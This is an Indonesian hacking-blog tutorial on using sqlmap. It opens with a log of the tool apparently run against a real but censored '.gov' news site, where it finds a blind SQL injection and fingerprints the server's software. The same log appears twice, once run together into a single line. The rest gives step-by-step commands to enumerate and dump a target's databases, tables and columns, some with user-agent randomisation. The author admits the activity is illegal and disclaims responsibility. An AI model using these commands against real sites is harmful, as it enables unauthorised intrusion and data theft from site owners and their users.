Tutorial Pentest & Hacking Dengan SQLMAP
Oleh
chmood
Greeting T.I Sniper Family,
Semoga semua dalam keadaan yang baik dan sehat
Kali ini T.I Sniper akan berbagi bagaimana melakukan penetration testing dengan menggunakan SQLMap (Tools SQL Injection & Takeover)
Yang perlu dipersiapkan:
1. Tools SQL MAP
2. PC / Server yang sudah ter-install python
3. Target yang memiliki vulnerability SQL Injection
DOWNLOAD SQLMAP DI LINK BERIKUT
atau
Kelebihan menggunakan SQL Map:
1. Bisa melakukan SQL Injection dengen beberapa method seperti:
– Boolean-Based Blind SQL Injection
– Time-Based Blind SQL Injection
– Error-Based SQL Injection
– UNION Query SQL Injection
– Stacked Query SQL Injection
2. Bisa berjalan baik untuk beberapa jenis database seperti:
– MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase & SAP MaxDB
Oke langsung praktek saja, kita akan mencoba untuk melakukan “Fingerprinting Database & Kelemahan SQL” pada sebuah website target.
# Target [URL]: http://<<sensor>>.gov/news/index.php?newsid=187 D:\binushacker\injection>sqlmap.py -u http://<<sensor>>.gov/news/index.php?newsid=187 -f sqlmap/0.10 modified by BinusHacker Team - automatic SQL injection and database takeover tool http://sqlmap.sourceforge.net Added new feature by BinusHacker Team: - Speed acceleration - Request limitation - Queries management [*] starting at: 13:43:24 [13:43:25] [INFO] using 'D:\binushacker\injection\output\<<sensor>>.gov\session' as session file [13:43:25] [INFO] testing connection to the target url [13:43:26] [INFO] testing if the url is stable, wait a few seconds [13:43:28] [INFO] url is stable [13:43:28] [INFO] testing if GET parameter 'newsid' is dynamic [13:43:28] [INFO] confirming that GET parameter 'newsid' is dynamic [13:43:29] [INFO] GET parameter 'newsid' is dynamic [13:43:30] [WARNING] heuristic test shows that GET parameter 'newsid' might not be injectable [13:43:30] [INFO] testing sql injection on GET parameter 'newsid' [13:43:30] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [13:43:33] [INFO] GET parameter 'newsid' is 'AND boolean-based blind - WHERE or HAVING clause' injectable [13:43:33] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' [13:43:33] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [13:43:34] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [13:43:35] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [13:43:36] [INFO] testing 'MySQL > 5.0.11 stacked queries' [13:43:36] [INFO] testing 'PostgreSQL > 8.1 stacked queries' [13:43:37] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries' [13:43:37] [INFO] testing 'MySQL > 5.0.11 AND time-based blind' [13:43:38] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [13:43:39] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [13:43:39] [INFO] testing 'Oracle AND time-based blind' [13:43:40] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [13:43:48] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [13:43:48] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS GET parameter 'newsid' is vulnerable. Do you want to keep testing the others? [y/N] n sqlmap identified the following injection points with a total of 36 HTnewsid(s) requests: --- Place: GET Parameter: newsid Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: newsid=187 AND 309=309 --- [13:44:14] [INFO] testing MySQL [13:44:16] [WARNING] the back-end DBMS is not MySQL [13:44:16] [INFO] testing Oracle [13:44:20] [INFO] confirming Oracle [13:44:23] [INFO] the back-end DBMS is Oracle [13:44:23] [INFO] actively fingerprinting Oracle web server operating system: Linux Debian or Ubuntu 4.0 (etch) web application technology: Apache 2.2.3, PHP 4.4.4 back-end DBMS: active fingerprint: Oracle 10g [13:44:26] [INFO] Fetched data logged to text files under 'D:\binushacker\injection\output\<<sensor>>.gov' [*] shutting down at: 13:44:26
# Target [URL]: http://<<sensor>>.gov/news/index.php?newsid=187
D:\75n1\injection>sqlmap.py -u http://<<sensor>>.gov/news/index.php?newsid=187 -f
sqlmap/0.10 modified by T.I Sniper Team - automatic SQL injection and database takeover tool
http://sqlmap.sourceforge.net
Added new feature by BinusHacker Team:
- Speed acceleration
- Request limitation
- Queries management
[*] starting at: 13:43:24
[13:43:25] [INFO] using 'D:\Sniper\injection\output\<<sensor>>.gov\session' as session file
[13:43:25] [INFO] testing connection to the target url
[13:43:26] [INFO] testing if the url is stable, wait a few seconds
[13:43:28] [INFO] url is stable
[13:43:28] [INFO] testing if GET parameter 'newsid' is dynamic
[13:43:28] [INFO] confirming that GET parameter 'newsid' is dynamic
[13:43:29] [INFO] GET parameter 'newsid' is dynamic
[13:43:30] [WARNING] heuristic test shows that GET parameter 'newsid' might not be injectable
[13:43:30] [INFO] testing sql injection on GET parameter 'newsid'
[13:43:30] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:43:33] [INFO] GET parameter 'newsid' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[13:43:33] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[13:43:33] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[13:43:34] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[13:43:35] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[13:43:36] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[13:43:36] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[13:43:37] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[13:43:37] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[13:43:38] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[13:43:39] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[13:43:39] [INFO] testing 'Oracle AND time-based blind'
[13:43:40] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[13:43:48] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[13:43:48] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS
GET parameter 'newsid' is vulnerable. Do you want to keep testing the others? [y/N]
n
sqlmap identified the following injection points with a total of 36 HTnewsid(s) requests:
---
Place: GET
Parameter: newsid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: newsid=187 AND 309=309
---
[13:44:14] [INFO] testing MySQL
[13:44:16] [WARNING] the back-end DBMS is not MySQL
[13:44:16] [INFO] testing Oracle
[13:44:20] [INFO] confirming Oracle
[13:44:23] [INFO] the back-end DBMS is Oracle
[13:44:23] [INFO] actively fingerprinting Oracle
web server operating system: Linux Debian or Ubuntu 4.0 (etch)
web application technology: Apache 2.2.3, PHP 4.4.4
back-end DBMS: active fingerprint: Oracle 10g
[13:44:26] [INFO] Fetched data logged to text files under 'D:\Sniper\injection\output\<<sensor>>.gov'
[*] shutting down at: 13:44:26
Nah, dari sana kelihatan bahwa target “.gov” tersebut memiliki kelemahan di “boolean-based blind sql injection”
Selanjutnya, <<Di sensor, You Know Ya! >>
Berikut adalah beberapa command penting di SQLMAP
Untuk melakukan scanning terhadap Target [URL]
./sqlmap.py -u[url]
Untuk mendapatkan informasi database Target [URL]
./sqlmap.py -u[url] –dbs
Untuk mendapatkan informasi table di database Target [URL]
./sqlmap.py -u [url] –tables -D [database]
Untuk mendapatkan informasi kolom didalam table yang ada didatabase Target [URL]
./sqlmap.py -u [url] –columns -T [table name] -D [databasename]
Untuk melakukan dump kolom, table dan database Target [URL]
./sqlmap.py -u [url] –dump –columns -T [table name] -D [databasename]
Untuk melakukan dump spesifik kolom Target [URL]
./sqlmap.py -u [url] –dump -C [column name] -T [table name] -D [database name]
Tutorial lengkap ada didalam video berikut:
Artikel tentang SQLMAP yang lainnya [By 75n1]
Hallo brother, kali ini ane ngepost video tutorial tentang sql injection menggunakan sqlmap di backtrack5, silahkan ikuti videonya dengan seksama hingga ahir, pasti anda langsung bisa
Sqlmap adalah tools untuk melakukan testing penetrasi sql injection pada suatu web, tools ini menurut saya, tools sql injection yang free paling lengkap untuk saat ini, walaupun ada havij, tapi menurut saya havij kurang advanced, havij lebih banyak dipakai oleh newbie newbie, karena memang kegunaan nya yang sangat simple untuk sekali attack sql injection
** Harap menjadi perhatian tindakan ini merupakan ilegal, tindakan ini semata-mata hanya sebagai pembelajaran saja. tutorial ini dibuat hanya untuk tujuan pembelajaran, Kesalahan penggunaan tools ditanggung jawab sepenuhnya oleh pengguna, Saya tidak bertanggung jawab atas tindakan yang akan anda lakukan
Detailnya silakan tonton video dibawah:
Biar lengkap saya kasih step-stepnya:
Test injeksi dengan men-fetch banner mysql (versi mysql)
./sqlmap.py -u "http://situs_target.com" --random-agent --threads 10 --banner
Fetch user yang digunakan, dan db yang sedang digunakan dengan flag (–current-user dan –current-db), langkah ini ialah analisis user yang dipakai di DBMS dan DB yang sedang digunakan pada website tersebut.
./sqlmap.py -u "http://situs_target.com" --random-agent --threads 10 --current-user --current-db
Fetch list database yang bisa dihandle oleh user website-in@localhost dengan flag (–dbs)
Dengan mengetahui list databse yang lain kita dapat bebas melakukan injeksi pada setiap database yang available untuk di injeksi.
./sqlmap.py -u "http://situs_target.com" --random-agent --threads 10 --dbs
Fetch list tables di database portal dengan flag (-D nama_tabel –tables)
./sqlmap.py -u "http://situs_target.com" --random-agent --threads 10 -D nama_tabel --tables
Fetch isi kolum pada setiap tables dengan flag (–columns)
./sqlmap.py -u "http://situs_target.com" --random-agent --threads 10 -D nama_tabel -T nama_kolom --columns
Sekarang kita akan men-fetch hanya isi dari kolum dengan flag (-D nama_tabel -T kolom -C isi_kolom1,isi_kolom2 –dump)
./sqlmap.py -u "http://situs_target.com" --random-agent --threads 10 -D nama_tabel -T nama_kolom -C isi_kolom1,isi_kolom2 --dump
Selamat, anda sukses melakukan SQL Injection & selamat mencoba
Category